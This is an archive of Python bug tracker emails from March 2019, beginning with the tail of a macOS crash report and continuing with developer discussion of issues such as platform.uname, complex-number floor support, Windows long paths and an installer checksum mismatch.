    0x7fff57e1d000 -     0x7fff57e45ffb  com.apple.spotlight.metadata.utilities (1.0 - 1191.53) <2CFFD786-87A5-3629-B5E1-8E4DEF51ADA8> /System/Library/PrivateFrameworks/MetadataUtilities.framework/Versions/A/MetadataUtilities
    0x7fff57e46000 -     0x7fff57ed8fff  com.apple.gpusw.MetalTools (1.0 - 1) <C0489BBD-C25C-33E5-84CD-8A50205080A0> /System/Library/PrivateFrameworks/MetalTools.framework/Versions/A/MetalTools
    0x7fff5812c000 -     0x7fff58156ff7  com.apple.MultitouchSupport.framework (2410.5 - 2410.5) <3A712911-F672-3BB3-B62B-A2A7BADF3578> /System/Library/PrivateFrameworks/MultitouchSupport.framework/Versions/A/MultitouchSupport
    0x7fff583c9000 -     0x7fff583d4fff  com.apple.NetAuth (6.2 - 6.2) <A6474ABC-FD4B-3A8F-AB33-7AACEEED7F0E> /System/Library/PrivateFrameworks/NetAuth.framework/Versions/A/NetAuth
    0x7fff58ca1000 -     0x7fff58cf7fff  com.apple.OTSVG (1.0 - ???) <F020144A-D840-390D-A87F-29E8095C78AF> /System/Library/PrivateFrameworks/OTSVG.framework/Versions/A/OTSVG
    0x7fff5e9ea000 -     0x7fff5ec9cff3  com.apple.SkyLight (1.600.0 - 337.5) <B18B2F6F-F44B-3B5B-8DA1-3B8977E59240> /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/SkyLight
    0x7fff60871000 -     0x7fff6087effb  com.apple.TCC (1.0 - 1) <81F88B91-49C1-36E7-8A39-C4BD654EE942> /System/Library/PrivateFrameworks/TCC.framework/Versions/A/TCC
    0x7fff62865000 -     0x7fff62867ff3  com.apple.loginsupport (1.0 - 1) <67BC49D6-320F-33ED-912E-16E5A342F385> /System/Library/PrivateFrameworks/login.framework/Versions/A/Frameworks/loginsupport.framework/Versions/A/loginsupport
    0x7fff62b22000 -     0x7fff62b5afff  libCRFSuite.dylib (41.15.4) <92752A96-D1CF-3CA1-837A-1E075AE4C642> /usr/lib/libCRFSuite.dylib
    0x7fff62b5d000 -     0x7fff62b68ff7  libChineseTokenizer.dylib (28.15.3) <55572692-4918-3C54-AD35-726E03EC47D5> /usr/lib/libChineseTokenizer.dylib
    0x7fff62bf9000 -     0x7fff62bfaff7  libDiagnosticMessagesClient.dylib (107) <15210AC0-61F9-3F9D-A159-A009F62EB537> /usr/lib/libDiagnosticMessagesClient.dylib
    0x7fff62c31000 -     0x7fff62df4ff7  libFosl_dynamic.dylib (18.3.2) <D67B74E9-EB95-38BC-995C-5F4CC044C3F7> /usr/lib/libFosl_dynamic.dylib
    0x7fff62e4a000 -     0x7fff62e69ff7  libMobileGestalt.dylib (645.220.9) <C2C55511-993B-34D2-9040-902BFDA38141> /usr/lib/libMobileGestalt.dylib
    0x7fff62e6a000 -     0x7fff62e6afff  libOpenScriptingUtil.dylib (179) <441A2E60-5D5C-3567-9B00-AA22E6EE5358> /usr/lib/libOpenScriptingUtil.dylib
    0x7fff62fab000 -     0x7fff62facffb  libSystem.B.dylib (1252.200.5) <C6201660-5E17-397D-BA21-C503420CD706> /usr/lib/libSystem.B.dylib
    0x7fff63036000 -     0x7fff63037fff  libThaiTokenizer.dylib (2.15.1) <F09EB0BB-1E8A-3391-BEF5-7D91F0715A62> /usr/lib/libThaiTokenizer.dylib
    0x7fff6304a000 -     0x7fff63060ffb  libapple_nghttp2.dylib (1.24.1) <71C126C5-D869-3E67-9778-058FA7F3CA74> /usr/lib/libapple_nghttp2.dylib
    0x7fff63061000 -     0x7fff6308affb  libarchive.2.dylib (54.200.3) <32B8634D-E465-3F6D-B254-A20D44504508> /usr/lib/libarchive.2.dylib
    0x7fff6310e000 -     0x7fff6310eff3  libauto.dylib (187) <003DEF68-0C59-3AFB-A7B7-A1B5ED301AF2> /usr/lib/libauto.dylib
    0x7fff631e5000 -     0x7fff631f5ff3  libbsm.0.dylib (39.200.18) <58A9ACEC-BF46-3A4E-86F5-3DD9AD7095B4> /usr/lib/libbsm.0.dylib
    0x7fff631f6000 -     0x7fff63204fff  libbz2.1.0.dylib (38.200.3) <4DEC3797-087F-3C8D-815B-48E895813251> /usr/lib/libbz2.1.0.dylib
    0x7fff63205000 -     0x7fff6325cff7  libc++.1.dylib (400.9.4) <B260AC33-EB9A-30C6-8746-D011B3B02B08> /usr/lib/libc++.1.dylib
    0x7fff6325d000 -     0x7fff63272fff  libc++abi.dylib (400.17) <446F4748-8A89-3D2E-AE1C-27EEBE93A8AB> /usr/lib/libc++abi.dylib
    0x7fff63273000 -     0x7fff63273ff3  libcharset.1.dylib (51.200.6) <43F7E100-F5D1-36AB-A26E-CF94196A19C0> /usr/lib/libcharset.1.dylib
    0x7fff63274000 -     0x7fff63284ffb  libcmph.dylib (6.15.1) <CEDA6538-C071-3B5A-948E-DF61E2878983> /usr/lib/libcmph.dylib
    0x7fff63285000 -     0x7fff6329dffb  libcompression.dylib (52.200.13) <05A2A91B-D24D-39E8-A071-261CBC5BB158> /usr/lib/libcompression.dylib
    0x7fff63548000 -     0x7fff6355efff  libcoretls.dylib (155.220.1) <1229F9EA-C070-3D03-9DC6-F548C59F9FD5> /usr/lib/libcoretls.dylib
    0x7fff6355f000 -     0x7fff63560ff3  libcoretls_cfhelpers.dylib (155.220.1) <33661841-3C3B-3608-86AC-C88D1CD6FE98> /usr/lib/libcoretls_cfhelpers.dylib
    0x7fff63bd7000 -     0x7fff63c2effb  libcups.2.dylib (462.10) <29B6D106-A5F2-321D-8916-90F595545D88> /usr/lib/libcups.2.dylib
    0x7fff63d66000 -     0x7fff63d66fff  libenergytrace.dylib (17.200.1) <F5BA8134-16F9-31CD-90E1-D1EBEBADA4AE> /usr/lib/libenergytrace.dylib
    0x7fff63d98000 -     0x7fff63d9dff7  libgermantok.dylib (17.15.2) <9381B152-5CFD-3D23-A5A7-4D64EE55B85E> /usr/lib/libgermantok.dylib
    0x7fff63d9e000 -     0x7fff63da3ff7  libheimdal-asn1.dylib (520.220.2) <D851A47D-E162-35F8-B8D4-6ABEA7FFDAD7> /usr/lib/libheimdal-asn1.dylib
    0x7fff63dcf000 -     0x7fff63ec0ff7  libiconv.2.dylib (51.200.6) <9FB95807-7C62-32B7-A19F-946D7FB7CCA6> /usr/lib/libiconv.2.dylib
    0x7fff63ec1000 -     0x7fff64124ffb  libicucore.A.dylib (62109.0.1) <FEB89BD3-79C4-3208-A754-7E6BC4D38548> /usr/lib/libicucore.A.dylib
    0x7fff64171000 -     0x7fff64172fff  liblangid.dylib (128.15.1) <663D0A24-7260-31D1-9BFE-74D67B6F72F6> /usr/lib/liblangid.dylib
    0x7fff64173000 -     0x7fff6418bfff  liblzma.5.dylib (10.200.3) <9A52A949-0CB1-39B6-9244-D079FB609559> /usr/lib/liblzma.5.dylib
    0x7fff641a3000 -     0x7fff64253fff  libmecab.1.0.0.dylib (779.24.1) <590BC39C-2A3E-368B-9499-C808B84C4955> /usr/lib/libmecab.1.0.0.dylib
    0x7fff64254000 -     0x7fff64491ff7  libmecabra.dylib (779.24.1) <22BFD5A8-EA42-3DC3-8910-F27DCFB1B631> /usr/lib/libmecabra.dylib
    0x7fff64669000 -     0x7fff649c1ffb  libnetwork.dylib (1229.240.1) <F99593DA-3089-3008-BE5B-5AC096EBF3A3> /usr/lib/libnetwork.dylib
    0x7fff64a53000 -     0x7fff651d9fe7  libobjc.A.dylib (750.1) <804715F4-F52D-34D0-8FEC-A25DC08513C3> /usr/lib/libobjc.A.dylib
    0x7fff651ec000 -     0x7fff651f0ffb  libpam.2.dylib (22.200.1) <85253002-89F2-3872-9C8A-1801303A2EBB> /usr/lib/libpam.2.dylib
    0x7fff651f3000 -     0x7fff65229ff7  libpcap.A.dylib (79.200.4) <6D25197A-2F7C-3147-A45A-F6F13E55909F> /usr/lib/libpcap.A.dylib
    0x7fff65343000 -     0x7fff6535bffb  libresolv.9.dylib (65.200.2) <A1A77B4E-1AF0-3039-9945-D05440494E00> /usr/lib/libresolv.9.dylib
    0x7fff653af000 -     0x7fff65586fe7  libsqlite3.dylib (274.22) <B30E3B7E-E22E-37A0-A3EB-EA333ADEE13E> /usr/lib/libsqlite3.dylib
    0x7fff656d7000 -     0x7fff65728ff7  libstdc++.6.dylib (104.1) <289782E6-5965-3C65-B54D-A4236C8B35A3> /usr/lib/libstdc++.6.dylib
    0x7fff65813000 -     0x7fff65816ffb  libutil.dylib (51.200.4) <10C5E165-0939-363A-9D13-7076F3B513EC> /usr/lib/libutil.dylib
    0x7fff65817000 -     0x7fff65824fff  libxar.1.dylib (404) <16E875B3-CF89-3059-87BB-36D301B32E7B> /usr/lib/libxar.1.dylib
    0x7fff65829000 -     0x7fff6590cfff  libxml2.2.dylib (32.8) <3E7875AC-3195-3800-AC48-8AA3B7BE51E4> /usr/lib/libxml2.2.dylib
    0x7fff6590d000 -     0x7fff65935ff3  libxslt.1.dylib (16.1) <D6EBFEBB-F88E-398F-B1B5-66F413C2CD32> /usr/lib/libxslt.1.dylib
    0x7fff65936000 -     0x7fff65948ffb  libz.1.dylib (70.200.4) <15F7B40A-424C-33BB-BF2C-7E8195128B78> /usr/lib/libz.1.dylib
    0x7fff659b9000 -     0x7fff659bdff3  libcache.dylib (81) <704331AC-E43D-343A-8C24-39201142AF27> /usr/lib/system/libcache.dylib
    0x7fff659be000 -     0x7fff659c8ff3  libcommonCrypto.dylib (60118.220.1) <9C865644-EE9A-3662-AB77-7C8A5E561784> /usr/lib/system/libcommonCrypto.dylib
    0x7fff659c9000 -     0x7fff659d0fff  libcompiler_rt.dylib (63.4) <817772E3-E836-3FFD-A39B-BDCD1C357221> /usr/lib/system/libcompiler_rt.dylib
    0x7fff659d1000 -     0x7fff659daff3  libcopyfile.dylib (146.200.3) <5C5C4F35-DAB7-3CF1-940F-F47192AB8289> /usr/lib/system/libcopyfile.dylib
    0x7fff659db000 -     0x7fff65a5ffdf  libcorecrypto.dylib (602.230.1) <C78D1A87-5543-3561-BEB4-3B480BA94ECB> /usr/lib/system/libcorecrypto.dylib
    0x7fff65ae6000 -     0x7fff65b20ff7  libdispatch.dylib (1008.220.2) <2FDB1401-5119-3DF0-91F5-F4E105F00CD7> /usr/lib/system/libdispatch.dylib
    0x7fff65b21000 -     0x7fff65b50ff3  libdyld.dylib (655.1) <90C801E7-5D05-37A8-810C-B58E8C53953A> /usr/lib/system/libdyld.dylib
    0x7fff65b51000 -     0x7fff65b51ffb  libkeymgr.dylib (30) <A4EFD9A4-2EF3-3E18-B325-F527E3821939> /usr/lib/system/libkeymgr.dylib
    0x7fff65b52000 -     0x7fff65b5eff7  libkxld.dylib (4903.241.1) <D039B38D-E8E6-3011-94F5-A21CD3D59526> /usr/lib/system/libkxld.dylib
    0x7fff65b5f000 -     0x7fff65b5fff7  liblaunch.dylib (1336.240.2) <D5F0014D-CF46-3B04-9DE0-A1466DA14A2C> /usr/lib/system/liblaunch.dylib
    0x7fff65b60000 -     0x7fff65b65fff  libmacho.dylib (921) <6ADB99F3-D142-3A0A-B3CE-031354766ACC> /usr/lib/system/libmacho.dylib
    0x7fff65b66000 -     0x7fff65b68ffb  libquarantine.dylib (86.220.1) <58524FD7-63C5-38E0-9D90-845A79551C14> /usr/lib/system/libquarantine.dylib
    0x7fff65b69000 -     0x7fff65b6aff3  libremovefile.dylib (45.200.2) <BA53CA8A-9974-3A43-9265-B110B1AE470F> /usr/lib/system/libremovefile.dylib
    0x7fff65b6b000 -     0x7fff65b82ff3  libsystem_asl.dylib (356.200.4) <33C62769-1242-3BC1-9459-13CBCDECC7FE> /usr/lib/system/libsystem_asl.dylib
    0x7fff65b83000 -     0x7fff65b83fff  libsystem_blocks.dylib (73) <152EDADF-7D94-35F2-89B7-E66DCD945BBA> /usr/lib/system/libsystem_blocks.dylib
    0x7fff65b84000 -     0x7fff65c0cfff  libsystem_c.dylib (1272.200.26) <D6C701A2-9F17-308D-B6AC-9E17EF31B7DF> /usr/lib/system/libsystem_c.dylib
    0x7fff65c0d000 -     0x7fff65c10ff7  libsystem_configuration.dylib (963.200.27) <94898525-ECC8-3CC9-B312-CBEAAC305E32> /usr/lib/system/libsystem_configuration.dylib
    0x7fff65c11000 -     0x7fff65c14ff7  libsystem_coreservices.dylib (66) <10818C17-70E1-328E-A3E3-C3EB81AEC590> /usr/lib/system/libsystem_coreservices.dylib
    0x7fff65c15000 -     0x7fff65c1bffb  libsystem_darwin.dylib (1272.200.26) <07468CF7-982F-37C4-83D0-D5E602A683AA> /usr/lib/system/libsystem_darwin.dylib
    0x7fff65c1c000 -     0x7fff65c22ff7  libsystem_dnssd.dylib (878.240.1) <5FEA5E1E-E80F-3616-AD33-8E936D61F31A> /usr/lib/system/libsystem_dnssd.dylib
    0x7fff65c23000 -     0x7fff65c6fff3  libsystem_info.dylib (517.200.9) <54B65F21-2E93-3579-9B72-6637A03245D9> /usr/lib/system/libsystem_info.dylib
    0x7fff65c70000 -     0x7fff65c98ff7  libsystem_kernel.dylib (4903.241.1) <CA10BC3A-5B09-32CE-B74F-BAD01755AA37> /usr/lib/system/libsystem_kernel.dylib
    0x7fff65c99000 -     0x7fff65ce4ff7  libsystem_m.dylib (3158.200.7) <AF25F8E8-194C-314F-A2D3-A424853EE796> /usr/lib/system/libsystem_m.dylib
    0x7fff65ce5000 -     0x7fff65d09ff7  libsystem_malloc.dylib (166.220.1) <4777DC06-F9C6-356E-82AB-86A1C6D62F3A> /usr/lib/system/libsystem_malloc.dylib
    0x7fff65d0a000 -     0x7fff65d15ff3  libsystem_networkextension.dylib (767.240.1) <4DB0D4A2-83E7-3638-AAA0-39CECD5C25F8> /usr/lib/system/libsystem_networkextension.dylib
    0x7fff65d16000 -     0x7fff65d1dfff  libsystem_notify.dylib (172.200.21) <65B3061D-41D7-3485-B217-A861E05AD50B> /usr/lib/system/libsystem_notify.dylib
    0x7fff65d1e000 -     0x7fff65d27fef  libsystem_platform.dylib (177.200.16) <83DED753-51EC-3B8C-A98D-883A5184086B> /usr/lib/system/libsystem_platform.dylib
    0x7fff65d28000 -     0x7fff65d32fff  libsystem_pthread.dylib (330.230.1) <80CC5992-823E-327E-BB6E-9D4568B84161> /usr/lib/system/libsystem_pthread.dylib
    0x7fff65d33000 -     0x7fff65d36ff7  libsystem_sandbox.dylib (851.230.3) <D6469A17-C13C-3538-A300-D6517BB7F249> /usr/lib/system/libsystem_sandbox.dylib
    0x7fff65d37000 -     0x7fff65d39ff3  libsystem_secinit.dylib (30.220.1) <5964B6D2-19D4-3CF9-BDBC-4EB1D42348F1> /usr/lib/system/libsystem_secinit.dylib
    0x7fff65d3a000 -     0x7fff65d41ff7  libsystem_symptoms.dylib (820.237.2) <487E1794-4C6E-3B1B-9C55-95B1A5FF9B90> /usr/lib/system/libsystem_symptoms.dylib
    0x7fff65d42000 -     0x7fff65d57ff7  libsystem_trace.dylib (906.220.1) <4D4BA88A-FA32-379D-8860-33838723B35F> /usr/lib/system/libsystem_trace.dylib
    0x7fff65d59000 -     0x7fff65d5effb  libunwind.dylib (35.4) <EF1A77FD-A86B-39F5-ABEA-6100AB23583A> /usr/lib/system/libunwind.dylib
    0x7fff65d5f000 -     0x7fff65d8ffff  libxpc.dylib (1336.240.2) <EE0CDA53-6FF9-3B4E-A571-335A5FF6B6F4> /usr/lib/system/libxpc.dylib

External Modification Summary:
  Calls made by other processes targeting this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by all processes on this machine:
    task_for_pid: 1884
    thread_create: 0
    thread_set_state: 0

VM Region Summary:
ReadOnly portion of Libraries: Total=420.0M resident=0K(0%) swapped_out_or_unallocated=420.0M(100%)
Writable regions: Total=288.5M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=288.5M(100%)
 
                                VIRTUAL   REGION 
REGION TYPE                        SIZE    COUNT (non-coalesced) 
===========                     =======  ======= 
Kernel Alloc Once                    8K        2 
MALLOC                            87.0M       18 
MALLOC guard page                   16K        5 
MALLOC_LARGE (reserved)            128K        2         reserved VM address space (unallocated)
STACK GUARD                         24K        7 
Stack                             18.5M        7 
VM_ALLOCATE                       22.0M       45 
VM_ALLOCATE (reserved)           160.0M        3         reserved VM address space (unallocated)
__DATA                            18.4M      302 
__FONT_DATA                          4K        2 
__LINKEDIT                       224.5M       86 
__TEXT                           195.5M      270 
__UNICODE                          564K        2 
shared memory                       12K        4 
===========                     =======  ======= 
TOTAL                            726.7M      741 
TOTAL, minus reserved VM space   566.6M      741 

Model: MacBookPro15,1, BootROM 220.240.2.0.0 (iBridge: 16.16.3133.0.0,0), 6 processors, Intel Core i7, 2.6 GHz, 32 GB, SMC 
Graphics: Intel UHD Graphics 630, Intel UHD Graphics 630, Built-In
Graphics: Radeon Pro 560X, Radeon Pro 560X, PCIe
Memory Module: BANK 0/ChannelA-DIMM0, 16 GB, DDR4, 2400 MHz, Micron, 16ATS2G64HZ-2G6B1 16ATS2G64HZ-2G6B1
Memory Module: BANK 2/ChannelB-DIMM0, 16 GB, DDR4, 2400 MHz, Micron, 16ATS2G64HZ-2G6B1 16ATS2G64HZ-2G6B1
AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0x7BF), wl0: Sep 18 2018 16:24:57 version 9.130.86.7.32.6.21 FWID 01-83a3fe91
Bluetooth: Version 6.0.10f1, 3 services, 27 devices, 1 incoming serial ports
Network Service: Wi-Fi, AirPort, en0
USB Device: USB 3.1 Bus
USB Device: iBridge Bus
USB Device: iBridge DFR brightness
USB Device: iBridge Display
USB Device: Apple Internal Keyboard / Trackpad
USB Device: Headset
USB Device: iBridge ALS
USB Device: iBridge FaceTime HD Camera (Built-in)
USB Device: iBridge
Thunderbolt Bus: MacBook Pro, Apple Inc., 34.6
Thunderbolt Bus: MacBook Pro, Apple Inc., 34.6

----------
components: macOS
messages: 337391
nosy: Xin Wang, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python quit unexpectedly error
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36224>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:36:14 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 17:36:14 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552066574.85.0.072733331116.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

In [this commit](https://github.com/jaraco/cpython/commit/acd024e2d4aa56f13d7bc165d10a35510e83a12b), I demonstrate the alternative approach I was considering that avoids calling "uname -p" until it's required, but otherwise retains compatibility by using the same logic for resolving the processor on the various platforms.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:50:41 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 17:50:41 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552067441.76.0.681230624793.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

> It's also easy to bypass that by simply seeding the global cache
> for uname(): _uname_cache. 
> Or you could monkey-patch the platform module
> in your utility to work around the circular reference.

I don't think these options are possible in the general case. It was what I attempted to do in the first place, but could not. Consider the situation where a namespace package is present or where a script uses pkg_resources to bootstrap itself (a very common case), or any other case where `platform.(anything)` is invoked before the "bypass" or "monkey-patch" has a chance to run. This happens when running the test suite for `cmdix` because pytest invokes pkg_resources to search for entry points and that code invokes `platform.system` (or similar) to evaluate environment markers long before the cmdix code has been imported.

Here's what happens:

`platform.(anything)` runs `platform.uname` and `platform.uname` invokes `uname -p` in a subprocess _unconditionally_. Python doesn't provide hooks to monkey-patch that out before it gets invoked.

> Or you could call your utility something else.

The point of this utility is to supply "coreutils" using Python. It's derived from an abandoned project called "pycoreutils", one purpose of which is to provide the core utilities on a minimal Linux distribution that doesn't have uname. Another is to supply coreutils on Windows. Having an alternate name isn't really viable when the purpose is to supply that interface.


I do think your considerations are reasonable, and I'm close to giving up. I look forward to your feedback on the 'resolved-late' branch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:01:23 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 08 Mar 2019 18:01:23 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1552068083.93.0.256773638343.issue36233@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

+0 

I support making this change, if only to keep the quoting convention consistent with how we quote attributes.  Also, use of double quotes seems to be the norm.  I made a brief informal survey of XML samples from multiple sources including DocBook, MS Excel, RSS feeds, the W3Schools examples, and various XML tutorials -- the only exception to double quotes was a NOAA weather feed.  The XML spec itself shows a preference for double quotes in its examples.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:03:29 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 18:03:29 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552068209.6.0.22989479407.issue35967@roundup.psfhosted.org>


Change by Jason R. Coombs <jaraco at jaraco.com>:


----------
pull_requests: +12227

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:15:07 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Fri, 08 Mar 2019 18:15:07 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552068907.1.0.855886648438.issue36228@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

I think at bank.
I find post (Russian) about complex numbers:
https://cyberleninka.ru/article/v/primenenie-kompleksnyh-chisel-v-finansovyh-operatsiyah
And rounding was used.
Sorry, I don't know about English version of this article.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:18:18 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Fri, 08 Mar 2019 18:18:18 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
In-Reply-To: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>
Message-ID: <1552069098.35.0.240031395461.issue36213@roundup.psfhosted.org>


Geoff Alexander <gdlxn at us.ibm.com> added the comment:

Using the "\\?\" prefix does not work.  Here's a small example:

```
import os
import subprocess

os.chdir(r"\\?\C:\Users")
output = subprocess.check_output("dir", shell=True)
```

Using Python 3.7.2 64-bit on Windows 10 fails with

```
c:\Users\GeoffAlexander\Documents\Python>python test.py
'\\?\C:\Users'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported.  Defaulting to Windows directory.
```

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:20:31 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Fri, 08 Mar 2019 18:20:31 +0000
Subject: [issue36243] Python os.listdir fails with FileNotFoundError when
 directory exists
In-Reply-To: <1552065778.9.0.101043375175.issue36243@roundup.psfhosted.org>
Message-ID: <1552069231.45.0.49316425732.issue36243@roundup.psfhosted.org>


Change by Geoff Alexander <gdlxn at us.ibm.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36243>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:37:51 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 08 Mar 2019 18:37:51 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552070271.83.0.781170469523.issue33608@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12228
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:53:03 2019
From: report at bugs.python.org (Tim Peters)
Date: Fri, 08 Mar 2019 18:53:03 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552071183.67.0.319862672422.issue36228@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

I have no use for this either, and agree with rejecting it - in nearly 30 years, nobody has asked for this before, and it's still the case that we don't have an actual programming use case (some theoretical use in an abstract mathematical model isn't a programming use case).  Seems far more likely that someone applying floor() or ceil() to a complex number is confused.

math.tau was essentially useless too, but Guido wanted to add it mostly as a light-hearted inside joke:

https://bugs.python.org/issue12345

Against that, I see that the popular mpmath Python package does support it (for floor and ceil).  Perhaps you could get mpmath's author to chime in here with a "good" argument for adding it to the core language?

http://mpmath.org/doc/current/general.html#floor

"""
The floor function is defined for complex numbers and acts on the real and imaginary parts separately:

>>> floor(3.25+4.75j)
mpc(real='3.0', imag='4.0')
"""

----------
nosy: +tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:58:19 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 08 Mar 2019 18:58:19 +0000
Subject: [issue35843] importlib.util docs for namespace packages innaccurate
In-Reply-To: <1548698590.94.0.426601552573.issue35843@roundup.psfhosted.org>
Message-ID: <1552071499.71.0.556563915986.issue35843@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset ab9b31f94737895f0121f26ba3ad718ebbc24fe1 by Miss Islington (bot) (Anthony Sottile) in branch 'master':
bpo-35843: Implement __getitem__ for _NamespacePath (GH-11690)
https://github.com/python/cpython/commit/ab9b31f94737895f0121f26ba3ad718ebbc24fe1


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35843>
_______________________________________

From report at bugs.python.org  Fri Mar  8 13:58:36 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 08 Mar 2019 18:58:36 +0000
Subject: [issue35843] importlib.util docs for namespace packages innaccurate
In-Reply-To: <1548698590.94.0.426601552573.issue35843@roundup.psfhosted.org>
Message-ID: <1552071516.69.0.515048513641.issue35843@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35843>
_______________________________________

From report at bugs.python.org  Fri Mar  8 14:22:45 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 08 Mar 2019 19:22:45 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552072965.69.0.713706760718.issue36241@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

We updated the build to be properly code signed, but the CDN may still be caching the old release.

Nothing has changed except the signature on the installer (Python 2 binaries have never been signed). I'll run a CDN purge to try and clear it up.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 14:27:58 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 08 Mar 2019 19:27:58 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552073278.22.0.206610909639.issue36241@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I redownloaded and confirmed that the files are correct.

Benjamin - the MD5 for the 32-bit installer didn't get updated. It should be 912428345b7e0428544ec4edcdf70286 (as in my updated email I sent).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 15:04:20 2019
From: report at bugs.python.org (Konrad Ciecierski)
Date: Fri, 08 Mar 2019 20:04:20 +0000
Subject: [issue36244] Lock release fails under windows
Message-ID: <1552075460.88.0.0526115232033.issue36244@roundup.psfhosted.org>


New submission from Konrad Ciecierski <konrad.ciecierski at gmail.com>:

In python 3.7.2 when the subprocess releases the acquired lock, 
the OSError occurs: "OSError: [WinError 6] The handle is invalid".
Problem does not occur under Ubuntu 18.

  File "multip-test.py", line 13, in worker
    lock.release()
OSError: [WinError 6] The handle is invalid

----------
components: Interpreter Core, Windows
files: multip-test.py
messages: 337527
nosy: Konrad Ciecierski, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Lock release fails under windows
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48198/multip-test.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36244>
_______________________________________

From report at bugs.python.org  Fri Mar  8 15:15:42 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Fri, 08 Mar 2019 20:15:42 +0000
